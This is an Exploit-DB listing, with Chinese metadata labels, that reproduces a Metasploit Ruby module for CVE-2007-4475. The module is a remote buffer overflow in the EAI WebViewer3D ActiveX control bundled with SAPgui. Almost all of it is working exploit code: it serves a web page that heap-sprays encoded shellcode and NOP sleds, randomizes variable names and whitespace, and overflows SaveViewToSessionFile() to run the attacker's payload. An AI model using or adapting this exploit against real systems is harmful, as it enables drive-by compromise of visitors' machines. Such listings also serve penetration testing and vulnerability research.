标题: SAP AG SAPgui EAI WebViewer3D - Remote Buffer Overflow (Metasploit) EDB-ID: 16575 CVE: 2007-4475 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: sapgui_saveviewtosessionfile.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Siemens Unigraphics Solutions
    Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
    with SAPgui. When passing an overly long string the SaveViewToSessionFile()
    method, arbitrary code may be executed.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-4475' ],
     [ 'OSVDB', '53066' ],
     [ 'US-CERT-VU','985449' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Mar 31 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops.
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

  # Randomize the javascript variable names.
  vname  = rand_text_alpha(rand(100) + 1)
  var_i  = rand_text_alpha(rand(30)  + 2)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)

  content = %Q|
  <html>
   <object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>
   <script language="JavaScript">
    var #{rand1} = unescape('#{shellcode}');
    var #{rand2} = unescape('#{nops}');
    var #{rand3} = 20;
    var #{rand4} = #{rand3} + #{rand1}.length;
    while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
    var #{rand5} = #{rand2}.substring(0,#{rand4});
    var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
    while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
    var #{rand7} = new Array();
    for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
    var #{rand8} = "";
    for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
    #{vname}.SaveViewToSessionFile(#{rand8});
   </script>
  </html>
   |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16575